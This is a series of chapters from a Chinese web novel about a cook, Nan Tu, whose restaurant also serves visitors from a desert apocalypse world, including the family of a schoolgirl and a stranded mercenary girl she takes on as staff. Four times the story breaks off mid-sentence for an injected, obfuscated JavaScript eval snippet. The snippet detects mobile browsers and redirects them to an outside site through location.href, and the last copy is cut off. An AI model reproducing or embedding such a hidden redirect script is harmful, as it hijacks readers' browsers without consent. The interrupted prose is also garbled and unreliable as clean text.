现在市面上的番茄，皮硬汁水少，能耐长途运输，可是一点儿番茄的酸甜味都没有。南荼用这样的番茄做出来的菜，吃着自己都皱眉。 她想起南元海那时总想办法买乡下人家种给自家吃的番茄，品种和市面上的完全不同。皮薄到汁水都要破皮而出，光是放在鼻尖闻一闻就能闻出那股浓浓的番茄味。哪怕做一道简单的番茄炒蛋，都能让人吃下两碗大米饭。 她和孙英说了以后，孙英立刻说下次给南荼带一篓自己家吃的番茄。 哪怕路途不远，孙英带这种番茄也小心的很，不仅装车时放在最上头怕被压了，篓子里还得垫上厚厚的稻草，最后只敢装小半篓，否则底下的又要压坏了。 孙英要白送，南荼坚持付了普通番茄几倍的价格。有磕碰的、压破的也在南荼的强烈要求下算在斤两里。 给孙英添了麻烦，再不让人家赚点钱，南荼自己都过意不去。 她在心里记下这份人情，带着小半车食材回饭馆了。 ———— 潘悦宜背着书包从江姚一中的大门出来，对面驶来一辆公交车，她快跑两步窜上了车。 今天是周日，学生只上半天自习，下午她打算去看望外公外婆。 不过在这之前，她得先解决咕咕唱着空城计的肚子。 不是外公外婆连一顿饭都舍不得给潘悦宜，实在是她和老人的口味合不来。 外公和外婆平时轮流做饭，外公近几年不知道是不是岁数大了味觉退化的缘故，口味越来越重，吃他做的饭，潘悦宜一口下肚，脑海里当即飘过一句话——海的味道我知道。 而外婆呢，味觉倒是很正常，她觉得经常吃这么咸对两个人身体不好，需要控制盐的摄入量，所以在她做饭的时候，菜又和清水涮出来的没什么区别。 尽管在女儿一家来吃饭的时候，外婆外公有心考虑年轻人的口味，但长年累月下来已经养成了习惯，不那么好改了。 潘悦宜曾经委婉的暗示过外婆，他们两个人放的盐完全可以均衡一下，那样更健康。外婆为难地否定了她这个建议：“那你外公两顿饭就都吃不出味了。” 所以潘悦宜选择吃完饭再去外婆家，就说她在学校食堂吃过了。 至于为什么不真的去学校食堂吃，当然是因为她上周才在学校食堂五块钱一份的纯素菜里发现了丰富的蛋白质 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097886|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 坐公交车来到外婆家附近，潘悦宜下了车，寻找起中意的餐厅。 这条街上不知道什么时候新开了一个饭馆，她抬脚走了进去，就试试这家的水平怎么样吧！ 给潘悦宜送来菜单的是个漂亮小姐姐，笑起来淡淡的，却让人感觉很温柔，还要送她柠檬茶喝，颜控的潘悦宜心情大好。 正美滋滋时，她看清楚菜单上的标价，表情有些僵硬。二十多块钱的凉面？三十多块的豆腐？ 不是吃不起，而是点了这样的菜，总感觉自己像个冤大头。 可是脸皮薄的潘悦宜也不好意思就这样走掉，今天这个冤大头她当定了。 “那就来个豆腐吧，这个——”潘悦宜指着菜单念到：“茄汁咸蛋黄豆腐，再要一碗米饭。” “好的。”漂亮小姐姐说道，“米饭可以免费续。” 无限量米饭对饭量不大的潘悦宜来说就像购兰博基尼十元优惠券，知道有这个东西，但永远也用不上。 等了一会，潘悦宜的菜才上桌。 她暗自思忖道：店里人这么少，还要等这么久，至少不是预制菜。可是——三十块多的豆腐—— 潘悦宜又心痛起来。但一股酸酸甜甜中带着鲜味的香气干扰了她的思绪，让她把视线投向刚刚上桌的“冤大头豆腐”。 艳红微稠的汤汁里，浸着大小均匀、厚薄一致的豆腐块，每一块豆腐都被染上了漂亮的颜色，上面零星点缀着翠绿的葱花，单是鲜明色彩的冲击就叫人食欲大振。 潘悦宜来了兴致，夹了一块豆腐放在米饭上，茄汁豆腐的汁水把米饭都染成了淡淡的金红色，然后一口连豆腐带米饭扒到嘴里—— 唔！ 潘悦宜惊喜地睁大了眼睛。 番茄天然的酸甜味儿十分浓郁，瞬间就勾动了她的味蕾。在这种酸甜中，又有一种存在感强烈，却偏偏和番茄搭配起来毫不突兀的咸鲜，那是早已融入汤汁的咸鸭蛋黄。 咸蛋黄是碾碎后炒过的，吃不出一丝颗粒感，只有酥酥沙沙的细腻口感，让汤汁变得浓稠、裹满豆腐的同时，又析出了适当的油分，让豆腐的口感更鲜润。 只一块豆腐下肚，潘悦宜立刻把之前念念不忘的“三十块钱”“上菜好慢”抛在了脑后。 不管是时间还是金钱，都比不上好吃！只要菜好吃，潘悦宜可以原谅全世界。 一连猛吃了好几块，潘悦宜才放弃了猪八戒吃人参果的吃法，慢慢品味起来。 众所周知，豆腐本身是没什么滋味的，但这份茄汁咸蛋黄豆腐却十分鲜美，难怪需要等这么久才上菜，不小火慢炖，汤汁怎么能渗进豆腐的每一个毛孔？ 而且潘悦宜还发现，这盘豆腐是煎过的，豆腐表皮被煎得金黄酥脆，内里仍然柔嫩，没有一点豆腥味。先煎后炖，才有这盘茄汁咸蛋黄豆腐如此出色的风味。 不仅要吃豆腐，潘悦宜还要把汤汁拌进饭里，这可是新鲜番茄和咸蛋黄熬的汤汁，比豆腐值钱多了。 潘悦宜没想到，这道菜下饭极了，尤其是汤汁拌过的米饭，晶莹剔透，透着金红相间的色泽，软糯弹滑。只一会工夫，一碗饭就下了肚，一看豆腐还剩好几块，汤汁也有一些。 既然吃上了豆腐里的兰博基尼，所以顺便把这十元优惠劵用了，也不过分吧？ 这么想着，潘悦宜心安理得地起身添了一碗饭。 5. 椒盐鱼块 晚上，潘父潘母也来看老人了，他们来的太晚，饭菜已经准备好了，一家三口一同坐在餐桌前，磨磨蹭蹭的动筷。 外公外婆齐齐下厨，桌子上的菜就像冰火两重天。 因为对中午的茄汁还有好感，潘悦宜先夹了一筷子番茄炒蛋，刚送进嘴里就怔住了。 这道菜非常完整的还原了食材的本味。番茄没什么番茄味，厚重的一块，没多少水分，却还烂趴趴的。鸡蛋透着一股蛋腥味，不算特别明显，还在正常范围内，但因为一切都是淡淡的，反而成了这道菜最突出的滋味。 潘悦宜停顿的动作引起了外婆的注意，她关切道：“是不是不合你的口味，你们年轻人都爱吃有滋味的，和你外公一个样。下次我再多倒点酱油就好了。” 潘悦宜勉强笑道：“不是，我是觉得现在的番茄没有以前好吃了。” 这话可打开了大家的话匣子。 外公也深有同感，重重的哼了声：“以前的番茄多好吃！自从现在这种厚得像皮球，摔到地上都不会烂的番茄品种一出现，市场上全都是，根本就找不到以前那些味道好的品种了。谁爱吃这没滋味儿的番茄，切开都没多少汁水。人是越来越有钱了，东西倒越来越难吃，这到哪儿说理去！” 潘母附和道：“小时候妈经常从农户那里买一大兜子番茄回来，酸酸甜甜的，咬开一个小口，里面的汁水就能溅我一脸，还没等炒成菜，都被我当水果吃了，一天能吃三四个！” 潘悦宜窃喜道：“我今天就在……在学校食堂吃到好吃的番茄了，特别好吃，我吃了快两碗饭。” 潘妈诧异地看了她一眼，手里不停，趁着父母谴责现在市面上的番茄时，把一咸一淡两道菜手动掺在了一起，示意丈夫和女儿赶紧动筷。 “这两个盘子是装的什么来着？”回过神来的外婆看着迅速出现的两个空盘疑惑道：“都吃干净了，我再去给你们盛点。” “不用了不用了。”三人赶紧阻止。“我中午吃撑了，现在已经饱了。” “我约了朋友打羽毛球，吃太多不方便运动。” “我也吃好了。” 几人振振有词，不约而同的放下了碗筷。 ———— 等从外公家离开，潘母摸了摸半饥不饱的肚子，用胳膊肘撞了一下旁边的女儿。 “悦悦你吃饱了没？你中午吃的那家店在附近吗？” 潘悦宜干笑两声：“什么呀，我中午是在学校食堂吃的。” “胡说八道。”潘母一副看透她的表情，“你们食堂哪有什么好吃的番茄？” 无奈，潘悦宜只好老实交代，自己就在这附近的一家饭馆吃的午饭。 之前已经憋了很久，此时她忍不住说：“那个茄汁咸蛋黄豆腐真的特别好吃，番茄熬出来的汤汁酸酸甜甜的，蛋黄沙沙的，全裹在豆腐上……” 被她这么一说，潘父潘母更感兴趣了。 “走走走！” “南来饭馆，就是这儿了。” 潘母看到这个店名，莫名地感觉有点熟悉，不过转眼就被她抛到了脑后，应该是大众名吧。 三人一同进店。 有女儿的预防针在，看到菜单上偏贵的价格，潘父潘母只是挑了挑眉，什么也没说。 “来个茄汁咸蛋黄豆腐，”潘母也想尝尝女儿口中天花乱坠的美味到底是什么滋味，她又像想起了什么似的，转头问女儿，“对了，你中午才吃过，那要不要换一个菜点？” “不不不，”潘悦宜手摆得像雨刷器，“我还想吃，再吃一顿完全没问题。”她语气十分坚定，可见是实话。 菜单传到潘父手里，他又点了一道椒盐鱼块。 毕竟晚饭还是吃了点，为了不浪费食物，三个人只点了两道菜。 又来了几个客人，潘父看来来回回忙碌的只有一个年轻人，不禁张望起来，看厨师是不是已经在做菜了。 潘悦宜说店就是漂亮姐姐的，菜也是她做的。 “你说她既是服务生、厨师，还是老板？”潘父被震惊道。 他表情复杂起来，新店开业初期，入不敷出也不稀奇，但该有的人工也得舍得掏钱，什么杂活都一个人包揽，店铺看着就不像能开的长远的样子。 咸蛋黄什么的听起来像网红美食，潘父坐在那里疑心渐起，觉得这里八成是个准备捞一笔就走的网红店。 这种餐厅他见的多了，先拿出大量的营销费用吸引年轻人，营造出一种大排长龙的火爆景象，然后营销结束，短短时间内营业情况就急转直下，草草关门出兑，不久之后又换了下一个潮流。 但眼前这个小饭馆又有不同，潘父觉得，如果连服务生都不舍得雇，八成也不会花营销这个钱。 难怪人气不旺。 他试探着说：“我知道一家味道不错的餐厅，就在咱们回家那条路上，要不……” 潘悦宜不满道：“我们都点完菜了，爸你是不是想逃单！” 潘父：“哪有这种事，钱我都付完了。” “那就坐着等。”潘母瞪他一眼，眼中的警告之色不言而喻，潘父接收到了她的信号，终于老实坐住了。 椒盐鱼块很快就上桌了。 一时间没人说话，只看着这盘盛在洁白瓷盘上的金色鱼块。 大小均匀的鱼块被煎炸到微焦，像是穿上了一层薄薄的金色盔甲，一股浓郁的香味——是鱼肉的鲜美和椒盐的香气完美融合的味道，简直是滚滚而来，让人招架不住。 三人几乎是同一时间拿起筷子伸向了盘子。 一口咬下去，先是酥脆的外皮在口中爆炸开，然后是软嫩雪白的鱼肉，虽然煎炸过，却一点也不干硬，依然保持着原有的鲜嫩多汁，哪怕是鱼块最厚重处也绝不是寡淡无味的，咸鲜的椒盐滋味早已渗透进去，带着一点恰到好处的香辣激发着味蕾的活力。 早上刚宰杀的新鲜鲈鱼，最大的也不超过一斤半，正是肉质最紧实鲜美的时候，经过数个小时的腌制，让椒盐风味稳定在每一丝鱼肉内，最后上锅煎炸成两面金黄微焦，做法虽然简单，但滋味属实诱人。 三个人嘴巴都很忙，只能趁着夹下一个鱼块的间隙紧急交流。 潘悦宜像一头开心的小猪，一边嚼一边嘟囔：“好吃好吃，豆腐好吃，这个也好吃，下次我还要来。” 潘父奇怪道：“这道菜里的椒盐味道好浓郁，好香，不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097887|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过看椒盐的用量也不大，不知道是为什么。” 潘母又吃了一块，很享受牙齿碾过酥脆外壳那一刻的细碎的声音。 “人家开饭馆的，当然有自己的秘诀。” 这倒是不假，制作椒盐风味的菜肴，选用市面上卖的现成的椒盐粉虽然能节省不少工序，但味道一定不会多么出彩。 因为椒盐鱼块的制作过程中几乎不需要其他调味料，全依赖椒盐的风味，所以南荼从不在这方面偷懒，除了选用质量上等的花椒以外，她还要把花椒和盐以合适的比例炒香，等椒盐的香味极其有渗透力，像是自那一口小小的炒锅中刮起一阵旋风的时候，再现磨成椒盐粉使用。 从小就混迹后厨的南荼十分清楚，花椒是非常容易丧失香味的材料，只有现磨才能最大的保持风味。 间隔还没有五分钟，等南荼把茄汁咸蛋黄豆腐端上来的时候，桌上只剩下一个洁白的空盘。 “菜上齐了。”她用疑惑的眼神扫了一眼客人们……对吧？就这么几桌客人，她应该没把菜上错桌。 潘父故作矜持的抿了一口杯子里的水：“嗯，上齐了。” 见南荼这会儿没这么忙了，他半是劝说半是建议道：“姑娘你手艺真不错，我刚见到时还担心你撑不起一家饭馆。现在才知道是我眼拙了。不过——” “就算能干，什么事也不能自己一个人包揽不是？” 南荼已经被不止一个客人建议招一个服务生了。 她熟练的说道：“您说的对，已经在招人了。” 才怪。 原本确实贴出了招工启示，饭馆生意一般，南荼能给出的待遇只能说平平无奇，不过也有几个人应聘。结果那几天饭馆更冷清，不像现在渐渐有了几个回头客。应聘的伙计们一看，这饭馆就不像能开长远的模样，随便找了个由头就溜走了。 等位面饭馆系统出现，南荼赶忙把招工启事撕下来。 这种情况哪敢随便招员工？她要怎么向对方解释后门可能会出现的那些奇奇怪怪的客人？ 眼下南荼也是十分困扰，不招员工不现实，招了也不合适。她甚至还向系统求助过，问它能不能帮上忙，系统却只遗憾地表示爱莫能助。 它虽然能连通位面，但也不能大变活人，难道要去别的位面把谁绑来给南荼做员工吗？ 南荼带着满腹烦恼走开了。 潘父放下手里的杯子，浑身一震，急忙拿起放下的筷子，加入了豆腐争夺战，这刚上的茄汁咸蛋黄豆腐他还没吃呢，怎么就剩这么几块了！ 潘母不仅抢到好几块豆腐，还端起盘子把汤汁往自己的碗里倒。“这里头的汤汁光是拌饭就好吃。更别提配着豆腐了。悦悦真会挑饭馆，我都不知道你外公家附近有这么一家好吃的饭馆。” 潘悦宜得意自夸道：“那当然啦，我一下就看出这个饭馆与众不同！” ……客人格外少，怎么不叫与众不同呢。 不过潘悦宜相当确定，这种情况不会其实很久的。 最后三人把两道菜吃得干干净净，盘子干净得像擦过一样，完全不像是吃了两顿晚饭的样子。 三个人挺着肚子，慢吞吞地往外走。 6. 生滚牛肉滑蛋粥 这天上午，南荼正在处理刚买来的食材。 对于不做早餐这门生意的饭馆，整个上午都是不营业的。 在这种时候，南荼才会让系统把位面之门打开。末世位面的客人对突然出现的南来饭馆似乎有误解，情绪总是很激动。南荼不希望吓到正常客人。 一阵清脆的风铃声响起。南荼猛地站起来看向后门，突然的动作让她有点发晕。等眼前重新清晰，面前——什么也没有。 “系统，这个风铃好像坏了，不是只有位面客人来的时候才会响吗？” 系统提醒她：【没有坏哦，请低头看看。】 南荼视线下移，惊讶地看着地上趴着一个人！准确的说，她就是爬着进来的。 这是个年纪不大的女孩，南荼估计她应当不会超过二十岁。此时的情况看起来很不好，头发上全是风沙，嘴唇干裂，面如土色，最严重的是意识好像也不太清醒。 对位面之门外的环境有所了解的南荼，认为这个女孩最大的麻烦是缺水，可能还有一些别的问题，不过她不是专业医生，没法一下子判断出来。 异位面的人肯定是不能在她这里找医生的。南荼迅速倒了一杯温水，往里面掺了一些糖，搅拌后蹲在地上，撑起女孩的后背。当对方的嘴唇接触到温水的下一秒，她就已经下意识的吮吸着糖水。 半杯水下肚，女孩睁开了眼睛，她看起来还有些迷迷糊糊。 因为她对着南荼说：“妈妈，你来接我了吗？” 南荼起身想拿点东西给她吃，女孩又挣扎着想要坐起来，去抓南荼的衣角，虚弱而急促地说：“我要跟你走，妈妈，不要丢下我……” 衣角被人抓着，南荼只好转过来拍了拍女孩的背：“我不走。你想不想吃点东西？” 安抚了一会，对方终于松开了自己的衣角。 南荼赶紧盛了一碗早上做的生滚牛肉滑蛋粥，粥放到现在有些凝了，但还有点余温，辛欢大口的吞咽着，滑嫩的牛肉和温吞的米香在口中交织，偶尔出现的蛋花如丝般柔滑，是她从来没吃过的美味。 等辛欢被扶着吃了小半碗粥，喝了一大杯水，体力稍微恢复后，她的视野清晰了，面前出现的一幕是她无论如何都想象不出来的。 周围的光线是那么柔和，不像沙漠里四面八方望得到的地方，都好像反射着天上太阳耀眼的光芒，让人睁不开眼睛。 不远处的窄长桌子上摆着几盆翠意盎然的绿植，旁边还有一个小小的玻璃花瓶，里面插着三四朵小巧玲珑的嫩黄色花朵。一个圆滚滚还沾着水珠的大萝卜被人匆忙放在那里。 左手边是很多整齐排列的桌椅，墙上挂着一些装饰画。不像是家具装潢，因为桌椅似乎太多了。 近在咫尺处，是一张素白明净的脸庞，正关切地看着自己。 让辛欢既遗憾又有一丝轻松的是，那不是她在恍惚中见到的已经去世的妈妈的脸，还没到妈妈带她离开的那一天。 “这是哪里？” “一个饭馆，我是这里的老板。”南荼说道。 “一个饭馆。”辛欢不解地重复到，“可是，我不明白……” “好孩子，不是所有的问题都有答案。”南荼跳过了这个问题，反问道，“你呢，这是发生了什么？” 辛欢低声到：“是这样的……” 奇怪的事，对着这样一个陌生人——虽然南荼救了她的命，但今天确实是她们第一次见面，辛欢反倒能平静的把一切和盘托出。 虽然辛欢认为面前神秘的女店主既然有本事把饭馆开到安金沙漠里，知道的东西一定比她多的多，但为了整个事件的前因后果更完整，辛欢还是要简单交代一下背景。 极端气候和灾害、森林疯狂生长、耕地变成沼泽、城市被淹埋在黄沙之下、异兽的出现……总之，这是一场人类的浩劫。 对于辛欢来说，记忆中只残留着一个微小的个体的苦痛。 父母都在一场地震中丧生，她被送到当时的基地，也是后来重建的天陵城。在这里，许许多多这样的孤儿被抚养长大，接受一些教育和体能训练，条件不算优渥，但已经尽力做到最好。 除了有几次因为兽潮逼近天陵城，各种野兽的吼叫响了一夜，让年幼的辛欢害怕得睡不着觉以外，这段时间还算是无忧无虑。 不过成年以后，辛欢就得自食其力，大多数孤儿的为自己选择的出路就是做佣兵，辛欢也不例外。 因为异兽的数量过多会引发兽潮，天陵城一直密切关注安金沙漠中异兽的情况。 前往不同区域的侦查任务会定期发放；一些异兽的组织有科研价值，佣兵公会会专门发布任务收购材料；单纯获取晶核，也可以卖掉换到生存物资。 每年在异兽的繁殖季过后，官方会发布更多的狩猎任务，也会适时提高晶核的购买力，以此鼓励更多佣兵外出。 这个时候前往安金沙漠更危险，但也伴随着高收益。 辛欢成为佣兵已经有七个月了，在上个月，她所在的佣兵小队遭遇了一场意外，只有她和另外两个队友活着回到天陵城，其中一个在回城后还伤重不治。 除了直面残酷的、血淋淋的现实，摆在辛欢面前的还有一个问题，在休养了半个多月后，她急需加入一个新的佣兵队伍赚取晶核，否则连饭都要吃不起了。这倒是不难，人员总有缺口，天陵城一向不存在人力资源过剩。 问题是成熟的佣兵队不会三天两头减员，没有位置供辛欢争取，而总是空出位置的那些佣兵队自有他们伤亡率高的理由。 面前只有坏和更坏两条路。 在一定饿死和可能战死中，辛欢选择了后者。 结果证明她的担忧成真了。 新加入的佣兵队在战斗中损失了不少补给，不仅包括一些武器弹药，还有在沙漠中至关重要的饮水。 即便立刻返程，所剩的饮水也不支持他们所有人安然回到天陵城。 要么全部渴死，要么……有人让出他那份饮水。 在安金沙漠中，这种情况并不罕见。甚至已经形成了一种心照不宣的解决方式，由众人投票，选择一到两个成员，将他们赶出队伍，自生自灭，那么剩下的人都能活下来。 新加入不久，和任何一个成员都没什么交情的辛欢毫无疑问成了这个人选。 被赶走时，她身上只有队长抛给她的少的可怜的一点儿饮水和食物。 这完全是为了让队伍的其他人免受残存的良心的煎熬。这样以后他们想起辛欢，就会这样安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097888|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慰自己：她不是什么物资都没带就被赶走的，说不定就靠着这点儿食水坚持下去，又幸运的遇到了其他佣兵，愿意带她离开沙漠。 其实大家心知肚明，根本没这个可能。 接下来，就是辛欢拖着疲惫的身躯四处游荡，发现了南来饭馆，用尽最后一丝力气爬进来的事了。 事实上，南荼还真是第一次从末世位面的原住民口中了解到他们曾经经历了什么，毕竟辛欢仅仅是她遇到的第二个末世位面的客人而已。 “我以为是临死前的幻觉，突然就出现了一个建筑，里面有水、有食物、还有……”妈妈。 她看向南荼，眼神里带着自己也没发觉的孺慕。 南荼缓缓说道：“这不是幻觉，不管你是怎么想的，总之有个饭馆在这里，接待你这样的客人，也会有其他客人……” 辛欢脸上闪过一丝慌张，她否认道：“客人？我不是。不，我、我的意思是我不该受到客人的待遇。” 她毫不掩饰道：“我真的很穷，没有一点钱，我知道我已经喝了很多水，吃了东西，但我真的不知道该怎么付账，也许你可以把我丢出去，或者打我一顿。” 辛欢发自内心的觉得，在安金沙漠这种绝望的地方出现一间会给你清凉的饮水和美味食物的饭馆，任何人都愿意用等重的黄金交换这些能挽救自己性命的东西。 可是她一无所有。 “把你丢出去？那我岂不是亏得更多。”南荼不着痕迹的打量了一眼辛欢。 她脸上还看得出稚气，但已经是个大姑娘了，肤色是健康的小麦色，四肢看得出明显的肌肉轮廓，露在外面被风沙打磨的皮肤略微粗糙，眼睛却很亮。 末世位面的人身体素质都相当不错。遭受这样的波折，辛欢的身体还很虚弱，短短时间内精神却已经恢复了大半。 不知道是灾难塑造了他们，还是不知何时会降临的灾难迫使他们做出了改变。 “我有一些烦恼。”南荼故作苦恼地偏了偏头，“饭馆有很多客人，将来也许会有更多，有一部分客人，我的意思是，不是来自安金沙漠，我希望大家能互不打扰。” “不过有些客人，不仅是第一次来饭馆，而且认为这里不该有一个饭馆。他们发现我们的饭馆，走进来后难保不会疑神疑鬼、问东问西，甚至怀着极大的警惕心，影响其他客人，对于这样的人，如果你是我，你会怎么做？” 辛欢想了一会说道：“我就告诉他们‘这里是饭馆，不吃饭就出去。’” 她有一种特别的直率，也许是因为从小身处的环境从不教她没用的委婉和体面。 南荼微微仰起头。她是打算招服务生没错，辛欢身上没有一点适合从事服务业的个性，忍耐、温柔、甜言蜜语，一个都找不到。 她说这话的神态简直像一头小狮子。 但南荼还挺喜欢的。 “既然付不起饭钱，又无处可去，不如留在我的店里帮忙，包吃包住……” 南荼微皱着眉头：“至于工资……”她这里的货币对辛欢来说没有价值，手里又没有晶核，该怎么付给她工资？ 辛欢后知后觉的意识到，她刚才结束了一场面试。她眼睛一亮，抢先道：“我不要工资，请让我留下来！” 7. 酒酿牛奶冰 饭馆二楼也是南荼的，面积比一楼小一点，客人又没有多到需要开放二楼的程度，一直都是作为杂物间和晚上临时休息的地方。 之前租给开面馆的那对夫妻，他们的面馆营业到很晚，晚上都是住在二楼的。 南荼自己一般住在外公留下来的房子里，很少住在饭馆，正好可以收拾出来给辛欢住。 尽管辛欢表示自己把一楼的椅子拼一拼躺在上面就行，根本就不影响睡眠。南荼还是给她准备了柔软的床单和被褥。 她有些好奇，来自异位面的辛欢能不能在自己这个世界生活，系统告诉她，如果范围仅限于饭馆内，只要南荼允许，辛欢想待多久就能待多久。 但出了这个门，用不上半个小时，辛欢就会被本位面排斥，回到她原来的世界去，而且在穿过空间屏障还很有可能受伤。 这样对辛欢来说有点儿憋闷，只能待在南来饭馆这方寸地界。 不过倒是解决了南荼一直以来的担忧——如果位面客人趁她不注意悄悄从前门溜出去，他们这个位面不就多了很多没有身份的闯入者吗？再一查，大家都是从南来饭馆跑出去的，她不知不觉就惹上了麻烦。 不是南荼多想，想逃离末世位面，到这边哪怕做个流浪汉的人都不会少。谁愿意永无止境的在刀尖上跳舞，一辈子都与凶残的异兽搏动，直到黄沙将自己掩埋？ 她对辛欢说了她的活动范围：“恐怕你不能离开这里，如果觉得无聊，我会想想办法。” 辛欢摇摇头：“我一直在东奔西跑，但做的也只有一件事，看的也是重复的风景。这里很好。” 她已经休息了两天，这是南荼强行要求的，本来辛欢第二天就要开始上工，南荼以饭馆关门一天，自己去给辛欢买点日用品为由让她好好休息。 透过前门的透明玻璃看到的景象让辛欢十足震惊，她已经猜测到这里不是她原来的世界。这里就像没发生过灾难的一个普通街道，有小吃店、药店、水果店…… 过于久远的记忆已经很模糊，依稀记得就是如此。 那南来饭馆，到底存在于哪里呢？各个世界的夹缝？重叠处？想做到这一点，简直需要不亚于神的伟力，而拥有这种能力的南荼，为什么会选择开一个饭馆呢？ 辛欢绞着手里的抹布，胡思乱想起来。 她扭头看了一眼后厨那个忙碌的身影，确认了一件事，南荼是真的很喜欢开饭馆这件事。 那么，辛欢想，她作为饭馆的员工，唯一一个为南荼分忧的人，能做的就是不让任何烦心事靠近她。 ———— 过了一会儿，南荼招手让辛欢过来：“你身体恢复的怎么样？” 辛欢立刻表示：“已经完全好了！有什么活需要我做吗？” 南荼摇头：“我做了点小甜品，因为是冰的，所以想问问你能不能吃。” “我也可以吃吗？”她先是兴高采烈，又想起什么，为难道，“可是现在是工作时间……” “没有那么多规矩，现在又没有客人。”南荼干脆地把一个碗壁沁出细薄水珠的碗塞到辛欢手里。 “酒酿牛奶冰，尝尝。” 嘴上虽然说着拒绝，等酒酿牛奶冰塞到手里时，闻着若隐若现的甜香，辛欢还是露出了期待的笑容。 她用勺子搅了搅，除了牛奶的香味，幽幽的桂花香也浮现出来，是南荼加的桂花蜜的功劳。迫不及待地舀上一勺送进嘴里，牛奶的细腻柔滑、酒酿淡淡的酒香在口腔弥漫开，既沁凉又香甜。 里面还放了不少指甲大小的小圆子，弹弹润润，调皮地在齿间跳舞。 酒酿是南荼自己做的，酿法很简单，只是要把握发酵的程度，否则酒味太烈，适口性就会大大降低。自己把控也能减少牛奶和酒酿混合到一起出现絮状物的几率。做好的酒酿味道清甜，不仅适合与牛奶搭配，也能做成酒酿蛋花、酒酿银耳汤等等。 做今天这道甜品的时候，南荼特意加了一些淡奶油，让牛奶的味道更加浓香。又舀了一勺桂花蜜，让不同甜味丝丝缕缕地交织在一起，风味更有层次。 一勺接一勺，辛欢吃的眼睛都眯起来。 吃着吃着，回忆的浪潮把她卷了进去。 又凉又甜，在幼小的她想象中，每年冬天飘下来的那些晶莹的雪花就该是这样甜滋滋的味道，可是雪其实是没有味道的，天陵城也很多年没有下过雪了。 伤感的情绪一闪而过。 不过生性豁达的辛欢很快想到，在沙漠里跋涉的时候能吃到这样一碗冰冰凉凉的甜品，那得是多大的享受啊！ 她突发奇想，端着半碗酒酿牛奶冰，来到后门边，询问南荼：“南荼姐，我打开这扇门，后面就是安金沙漠吗？” 南荼早就注意到辛欢有时候会盯着她进来的那道后门看，有时候很好奇，有时候又避之唯恐不及，好像怕那道门里突然传来一道巨大的吸力，把她卷回原来那个世界去似的。 见她现在不怕了，南荼点头：“没错，你可以打开看看，走出去也没关系，随时都能回来，饭馆就在这里。” 辛欢果然欢欢喜喜的打开了门，也不走远，就蹲在门边，轻轻踢着脚下的沙子，感受到灼热的空气将自己包裹。 然后吃上一口酒酿牛奶冰。 这感觉就对了。 好幸福！ ———— 这天中午，俞青和朋友出现在南来饭馆外。 几天前，老公从一个路边小店给她带回来了一些牛肉酱，俞青看了以后还皱眉。 “你在哪个路边摊买的三无包装产品？” 不是她挑剔，这包装也太简陋了，连个瓶子都没有，就拿个餐饮包装盒装了个浅浅一个底，不仔细看还以为是打包回来的剩菜。 杨新知老神在在地摇头：“什么三无产品，正经现做的牛肉酱。你别嫌它包装丑，我还是想了个鬼主意才带回来的，不然你就没这个口福了。” 俞青本想说自己本来也不稀罕这个口福。只见杨新知打开盒盖，在她鼻尖晃了晃。 怎么这么香？“我本来就……既然你都带回来了，尝尝也行。”她看着杨新知打趣的眼神，兀自嘴硬道，“浪费食物可耻！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14097889|149657||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她正好还没吃饭，简单下了一把面条，捞出来过了凉水，舀了两大勺牛肉酱拌开，一时间刚才闻到的香气又浓郁了几倍，当即就叫俞青咽了口口水。 等反应过来，面前的碗里已经空空如也。 有了这个牛肉酱，俞青本来因为天热消沉的胃口好了不少。早上盛一点拌着白粥，中午点的外卖不合口味，加一点牛肉酱就有了画龙点睛之笔，哪怕拌着白饭也好吃。 这样做的结果就是，杨新知带回来的十份牛肉酱，她两天就吃完了。 杨新知最近比较忙，不能再去给她带点牛肉酱回来，他不无遗憾地说：“可惜那家饭馆不在咱们家附近，不能天天去，有机会我再给你带。” 俞青看他一眼：“带什么带，我长着两条腿就是走路用的，赶紧把地址发我，我明天就和朋友去吃饭。” 这不，今天她就来了。 不过到了门口，俞青就有些犹豫了。 